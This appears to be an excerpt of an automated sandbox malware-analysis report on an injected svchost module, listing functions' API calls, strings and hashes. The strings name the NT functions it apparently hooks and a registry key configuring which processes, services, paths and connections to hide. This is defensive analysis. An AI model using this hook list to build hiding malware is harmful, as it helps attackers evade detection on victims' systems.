Part of subcall function 00000195DD5C199C: CloseHandle.KERNEL32 ref: 00000195DD5C1A1C

GetProcAddress.KERNEL32 ref: 00000195DD5C2BE5

Part of subcall function 00000195DD5C152C: StrCmpIW.SHLWAPI ref: 00000195DD5C155D

Part of subcall function 00000195DD5C3844: StrCmpNIW.SHLWAPI ref: 00000195DD5C385C

StrCmpNIW.SHLWAPI ref: 00000195DD5C2C28
lstrlenW.KERNEL32 ref: 00000195DD5C2D50

Strings

ntdll.dll, xrefs: 00000195DD5C2BC9
NtQueryObject, xrefs: 00000195DD5C2BDB
\Device\Nsi, xrefs: 00000195DD5C2C1B

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: b269dd2d9b81f1812a6309050772eb1d9569a02fca7367e1bad0c42bb49a5ac5
Instruction ID: dde7fd9efa89a5466707bb46948bcd2f38f9c7ac15f82b741b3087f18559b81d
Opcode Fuzzy Hash: b269dd2d9b81f1812a6309050772eb1d9569a02fca7367e1bad0c42bb49a5ac5
Instruction Fuzzy Hash: 40B1AF76212E5882EB669FA9D460BE973E6FB54B84F485016EE09B3F94EF34CC41C740

Function 00000195DD5C7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000195DD5C7DAC
RtlCaptureContext.NTDLL ref: 00000195DD5C7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000195DD5C7DF3
RtlVirtualUnwind.NTDLL ref: 00000195DD5C7E34
IsDebuggerPresent.KERNEL32 ref: 00000195DD5C7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000195DD5C7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000195DD5C7EB4

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: fc690ca620e4485241193952ba8c83509054a4c62fcfc94005514e0c22233189
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: B0314F72205F848AEB619FA4E8607ED73E5F784744F44442ADA4EA7F98EF38C549C710

Function 00000195DD5CD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000195DD5CD31D
RtlLookupFunctionEntry.NTDLL ref: 00000195DD5CD335
RtlVirtualUnwind.NTDLL ref: 00000195DD5CD370
IsDebuggerPresent.KERNEL32 ref: 00000195DD5CD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000195DD5CD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000195DD5CD3BE

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 88954bb95814ee6b498564cf1bdcac9ec7b9223e226e11f4f982859e9a819e51
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 77313A32215F8486EB618B69E8503DE73E5F789794F500126EA9D93F98EF38C546CB00

Function 00000195DD5C1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C1633
HeapAlloc.KERNEL32 ref: 00000195DD5C1642

Part of subcall function 00000195DD5C1268: GetProcessHeap.KERNEL32 ref: 00000195DD5C126E
Part of subcall function 00000195DD5C1268: HeapAlloc.KERNEL32 ref: 00000195DD5C127D
Part of subcall function 00000195DD5C1268: GetProcessHeap.KERNEL32 ref: 00000195DD5C1297
Part of subcall function 00000195DD5C1268: HeapAlloc.KERNEL32 ref: 00000195DD5C12A8

RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16B2
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16DF
RegCloseKey.ADVAPI32 ref: 00000195DD5C16F9
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1719
RegCloseKey.ADVAPI32 ref: 00000195DD5C1734
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1754
RegCloseKey.ADVAPI32 ref: 00000195DD5C176F
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C178F
RegCloseKey.ADVAPI32 ref: 00000195DD5C17AA
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C17CA
RegCloseKey.ADVAPI32 ref: 00000195DD5C17E5
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1805
RegCloseKey.ADVAPI32 ref: 00000195DD5C1820
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1840
RegCloseKey.ADVAPI32 ref: 00000195DD5C185B
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C187B
RegCloseKey.ADVAPI32 ref: 00000195DD5C1896
RegCloseKey.ADVAPI32 ref: 00000195DD5C18A0

Part of subcall function 00000195DD5C12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000195DD5C1319
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C1327
Part of subcall function 00000195DD5C12BC: HeapAlloc.KERNEL32 ref: 00000195DD5C1338
Part of subcall function 00000195DD5C12BC: RegEnumValueW.ADVAPI32 ref: 00000195DD5C1397
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C13DF
Part of subcall function 00000195DD5C12BC: HeapAlloc.KERNEL32 ref: 00000195DD5C13ED
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C140A
Part of subcall function 00000195DD5C12BC: HeapFree.KERNEL32 ref: 00000195DD5C1418
Part of subcall function 00000195DD5C12BC: lstrlenW.KERNEL32 ref: 00000195DD5C1421
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C142F
Part of subcall function 00000195DD5C12BC: HeapAlloc.KERNEL32 ref: 00000195DD5C143D

Strings

service_names, xrefs: 00000195DD5C17C3
udp, xrefs: 00000195DD5C1874
pid, xrefs: 00000195DD5C1712
startup, xrefs: 00000195DD5C16D5
SOFTWARE\dialerconfig, xrefs: 00000195DD5C1692
process_names, xrefs: 00000195DD5C174D
tcp_remote, xrefs: 00000195DD5C1839
paths, xrefs: 00000195DD5C1788
tcp_local, xrefs: 00000195DD5C17FE

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 3fed60f760ab3f32da691e52dbf4ab303354c7f47779857e17f14048716fb99a
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: A1711C36311F1886EB119FA6E860AD923F6FB85B89F005111DE4EA7F69EF34C485C750

Function 00000195DD5C12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000195DD5C1319
GetProcessHeap.KERNEL32 ref: 00000195DD5C1327
HeapAlloc.KERNEL32 ref: 00000195DD5C1338
RegEnumValueW.ADVAPI32 ref: 00000195DD5C1397

Part of subcall function 00000195DD5C152C: StrCmpIW.SHLWAPI ref: 00000195DD5C155D

GetProcessHeap.KERNEL32 ref: 00000195DD5C13DF
HeapAlloc.KERNEL32 ref: 00000195DD5C13ED
GetProcessHeap.KERNEL32 ref: 00000195DD5C140A
HeapFree.KERNEL32 ref: 00000195DD5C1418
lstrlenW.KERNEL32 ref: 00000195DD5C1421
GetProcessHeap.KERNEL32 ref: 00000195DD5C142F
HeapAlloc.KERNEL32 ref: 00000195DD5C143D
StrCpyW.SHLWAPI ref: 00000195DD5C145F
GetProcessHeap.KERNEL32 ref: 00000195DD5C1476
HeapFree.KERNEL32 ref: 00000195DD5C1484

Strings

d, xrefs: 00000195DD5C135A

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 495f4bd1ccfcfb5c7fe309b38a271ae55a6fce5f460d804d76d8676db85ca4e3
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 30515B36201F8886EB51CFA6E46879A77E2F789F89F044124DA4957B18DF3CC04ACB10

Function 00000195DD5C1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000195DD5C1D1F

Part of subcall function 00000195DD5C1FD4: GetModuleHandleA.KERNEL32 ref: 00000195DD5C1FEC
Part of subcall function 00000195DD5C1FD4: GetProcAddress.KERNEL32 ref: 00000195DD5C1FFD

Part of subcall function 00000195DD5C5B30: GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5B6B

Strings

ntdll.dll, xrefs: 00000195DD5C1D2D
advapi32.dll, xrefs: 00000195DD5C1DF7, 00000195DD5C1E18
NtQueryDirectoryFileEx, xrefs: 00000195DD5C1D9C
NtResumeThread, xrefs: 00000195DD5C1D62
NtQueryDirectoryFile, xrefs: 00000195DD5C1D7F
EnumServicesStatusExW, xrefs: 00000195DD5C1E11, 00000195DD5C1E32
sechost.dll, xrefs: 00000195DD5C1E39
NtEnumerateValueKey, xrefs: 00000195DD5C1DD6
NtDeviceIoControlFile, xrefs: 00000195DD5C1E56
NtQuerySystemInformation, xrefs: 00000195DD5C1D45
NtEnumerateKey, xrefs: 00000195DD5C1DB9
EnumServiceGroupW, xrefs: 00000195DD5C1DF0

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 0a117424bb8ec17e06fa24497d1726645dd05d6d29179111a98c9b800477247c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: D1318274142E4EE0FB17EFE9E871AE463E3B714398FC450139449B2E759E78824AD760

Function 00000195DD596910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000195DD596938
__scrt_acquire_startup_lock.LIBCMT ref: 00000195DD59698A
_RTC_Initialize.LIBCMT ref: 00000195DD5969B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000195DD5969DE
__scrt_release_startup_lock.LIBCMT ref: 00000195DD596A09

Strings

`dynamic initializer for ', xrefs: 00000195DD5969C7
`eh vector vbase copy constructor iterator', xrefs: 00000195DD5969EE
`eh vector copy constructor iterator', xrefs: 00000195DD596A3B
scriptor', xrefs: 00000195DD596B39, 00000195DD596BB2, 00000195DD596BEC

Memory Dump Source

Source File: 00000028.00000002.3308832875.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: ceb190c1bc5cb76a39468d0dcf2336ec5ebfdbce9e152840d3fa6cc9d2bd33da
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 6381CE72704E41C6FB52ABE594713D926E3EB96B80F548025EA0577F96EF38C84A8F00

Function 00000195DD5CCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000195DD5CCE37
FlsGetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCE4C
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCE6D
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCE9A
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCEAB
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCEBC
SetLastError.KERNEL32 ref: 00000195DD5CCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF0D
FlsSetValue.KERNEL32(?,?,00000001,00000195DD5CECCC,?,?,?,?,00000195DD5CBF9F,?,?,?,?,?,00000195DD5C7AB0), ref: 00000195DD5CCF2C

Part of subcall function 00000195DD5CD6CC: HeapAlloc.KERNEL32 ref: 00000195DD5CD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF54

Part of subcall function 00000195DD5CD744: HeapFree.KERNEL32 ref: 00000195DD5CD75A
Part of subcall function 00000195DD5CD744: GetLastError.KERNEL32 ref: 00000195DD5CD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF76

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 5deeaa700c7bca527ac3e0ef52b0542e40d86773dc9f6c8a69b3fdc468513023
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: B5412034303E4C82FB6BA7EE59753F913C35B857B4F140724A936E6ED6DE2894818700

Function 00000195DD5C2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000195DD5C2259
GetCurrentProcessId.KERNEL32 ref: 00000195DD5C2263

Part of subcall function 00000195DD5C1934: OpenProcess.KERNEL32 ref: 00000195DD5C1952
Part of subcall function 00000195DD5C1934: IsWow64Process.KERNEL32 ref: 00000195DD5C1968
Part of subcall function 00000195DD5C1934: CloseHandle.KERNEL32 ref: 00000195DD5C1983

CreateFileW.KERNEL32 ref: 00000195DD5C22BC
WriteFile.KERNEL32 ref: 00000195DD5C22E4
ReadFile.KERNEL32 ref: 00000195DD5C2303
CloseHandle.KERNEL32 ref: 00000195DD5C230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000195DD5C228C
\\.\pipe\dialerchildproc32, xrefs: 00000195DD5C2293

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: ef64e02e287f94d0d9415c348699ab4dc805c8a96bd9a803ab77d90ce42376f4
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 09217932614B4483FB118BA5F4647AA73E2F789BA5F544215EA5953FA8CF3CC14ACB00

Function 00000195DD5CA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000195DD5CA5A1

Part of subcall function 00000195DD5CB414: __GetUnwindTryBlock.LIBCMT ref: 00000195DD5CB457
Part of subcall function 00000195DD5CB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000195DD5CB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000195DD5CA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000195DD5CA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000195DD5CA9DA

Strings

csm, xrefs: 00000195DD5CA69C
csm, xrefs: 00000195DD5CA5BB
csm, xrefs: 00000195DD5CA622

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: ff241bfc108c8e41cf32293f5c139143a9d96e7d242899cc36c30a4197855322
Instruction ID: 9c2520efcc87ac771d522e1eb6396a81ecb0ce0daac719ccbdf896b70f129e44
Opcode Fuzzy Hash: ff241bfc108c8e41cf32293f5c139143a9d96e7d242899cc36c30a4197855322
Instruction Fuzzy Hash: 07E18D72606B488AEB32DFA9D4913DD7BE2F745B98F100115EE89A7F99CB35C481CB00

Function 00000195DD599944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000195DD5999A1

Part of subcall function 00000195DD59A814: __GetUnwindTryBlock.LIBCMT ref: 00000195DD59A857
Part of subcall function 00000195DD59A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000195DD59A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000195DD599A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000195DD599CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000195DD599DDA

Strings

csm, xrefs: 00000195DD599A9C
csm, xrefs: 00000195DD599A22
csm, xrefs: 00000195DD5999BB

Memory Dump Source

Source File: 00000028.00000002.3308832875.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 8578d22811c705561b9a0c63265d0fa22d72dfafe6aec0b6b4f758a2598a20e0
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 3EE18C72604B40CAEB62DBA5D4A03DD7BE2F756B98F142116EE8967F99CB34C191CF00

Function 00000195DD5CF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000195DD5CF510
GetProcAddress.KERNEL32 ref: 00000195DD5CF51C

Strings

api-ms-, xrefs: 00000195DD5CF45A
ext-ms-, xrefs: 00000195DD5CF46D

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: ec1e5874304155dc1a340afb949db992b9dfa589f06c8a0471ec677ed5d909ab
Instruction ID: f94411bdc3c5adc3673d068f26baf74004ea3de06b1d5fa0a00e338998d396b5
Opcode Fuzzy Hash: ec1e5874304155dc1a340afb949db992b9dfa589f06c8a0471ec677ed5d909ab
Instruction Fuzzy Hash: 4741B236313E0492EB17DB9AA8647D623E7BB45BA0F494125DD0AE7F84EE3CC44A8350

Function 00000195DD5C104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000195DD5C10B1
RegEnumValueW.ADVAPI32 ref: 00000195DD5C1117
GetProcessHeap.KERNEL32 ref: 00000195DD5C115A
HeapAlloc.KERNEL32 ref: 00000195DD5C1168
GetProcessHeap.KERNEL32 ref: 00000195DD5C1185
HeapFree.KERNEL32 ref: 00000195DD5C1193

Strings

d, xrefs: 00000195DD5C10D6

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 85125c25dfd785958ae00b37ce84ac9a8513cd9fd1755175fa0b0cf5bc826ac5
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: CC418C33214F88C6E761CFA5E45479A77E2F389B89F048129DA8957B58DF3CC489CB00

Function 00000195DD5CD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD087
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0A6
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0CE
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0DF
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0F0

Strings

Y%, xrefs: 00000195DD5CD0A6
1%, xrefs: 00000195DD5CD0CE

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: b29a2c01b9a529d3d397189201e4ebb9e472c9377beb16884566e216c47c93f0
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 47112134707A8881FB6A67AF59717E963C35B847F0F1443269839F6EDAEE28C5428700

Function 00000195DD5C7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000195DD5C7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000195DD5C758A
_RTC_Initialize.LIBCMT ref: 00000195DD5C75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000195DD5C75DE
__scrt_release_startup_lock.LIBCMT ref: 00000195DD5C7609

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: db17aeae78a532267f4925ec03955f9628ff8aa19b2b3ce37216714fce8ee9dc
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 7281A031602E0F86FB63ABEE98713D967D3AB45780F145415DA05F7F96EB78C8868700

Function 00000195DD5C9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000195DD5C9E49
GetLastError.KERNEL32 ref: 00000195DD5C9E57
LoadLibraryExW.KERNEL32 ref: 00000195DD5C9E81
FreeLibrary.KERNEL32 ref: 00000195DD5C9EC7
GetProcAddress.KERNEL32 ref: 00000195DD5C9ED3

Strings

api-ms-, xrefs: 00000195DD5C9E69

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 9d3cf39bc7784cd844787513709c7d04fd8390ef6f847f410b46324ceba80f6d
Instruction ID: 8d15efdb5329dbd6f8d908350e729aaeb4b7b6a33fa5c2f06519c4c6539ee195
